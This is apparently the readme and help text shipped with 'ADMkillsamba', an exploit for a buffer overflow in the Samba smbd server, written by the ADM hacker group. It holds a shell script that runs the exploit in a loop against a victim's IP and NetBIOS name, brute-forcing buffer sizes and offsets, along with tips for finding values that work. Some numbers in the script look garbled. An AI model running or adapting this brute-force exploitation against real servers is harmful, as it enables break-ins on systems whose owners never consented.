  ADMkillsamba ver 0.2  argh ADM back again ! :)))                        
  whats new ?: i have include a krad help & a  verry Fast utility for found 
  smbserver  <note: u can use it for found imapd :)> ; a script shell for make
  brutal buff/offset for the sploit heh a lot of surprise < hahah supeer:)                                  
  the buffer have a better structure <4 a better world ??> & option for local
  sploit :) cya ppl 
  admsmb@hotmail.com  <note: is only for smbd sploit ! ADM have no email etc */

ADMsmb HELP  v0.1

( a krad help  =) )

Q: why the sploit gimme alwais the msg Broken pipe  ???
A: ok diz msg  appear when you  have not the  good buffer_size/offset value
   yes diz param change on every machine ! u must found it! for that try 
   a brutal force on the  buff/offset  see the script :) 


-------------------------------Brutal Force-----------------------------------
#!/bin/sh
declare -i D
declare -i OFF
declare -i try 
declare -i BUFF
BUFF081                     # buffer size
while true
do
D00                        # offset
while test "$D" -lt 8000
do
./ADMkillsamba <ip of the victim> <netbios name of the vic> <your iP> $BUFF $D
echo 
echo $D
echo $BUFF
echo
D=D+25
done
BUFF=BUFF+1
done
---------------------------------------------------------------------------------



Q: what is the best param for buff/offst .?
A: first try with  diz  param  buffer081 offset500  if is dont work try
   to change the offset size 1000 at 8000 if he dont run try buff size 3075
   at 3090 i know its hard but with experience its simple =)

Q: how to found the buff size ??
A: simple !  launch ADMkillsamba  with  buff/size00 if the srv dont make
   a broken pipe the buffer was to small try by step of 100 when the srv
   give u a broken pipe ; try to see the precise value ! and make a scan on
   it =)  

ex:  buff = 3000 no 
ffb
broken pipe
     buff = 3100 broken pipe
     buff = 3050 no broken pipe
     buff = 3070 broken pipe             < scan to 3070 at 3100


Q: the offset size ?? 
A: Scan it :)

 
PS: if u found a offset &  buff/size on a system plz send it i'am gonna make
a list of the most curently buff/size 

PPS: if u wanna code a char shell for a other OS mail me !

news: ADM gonna make a home page for diz sploit dont forget to see it for
more helps tips/etc     

cya
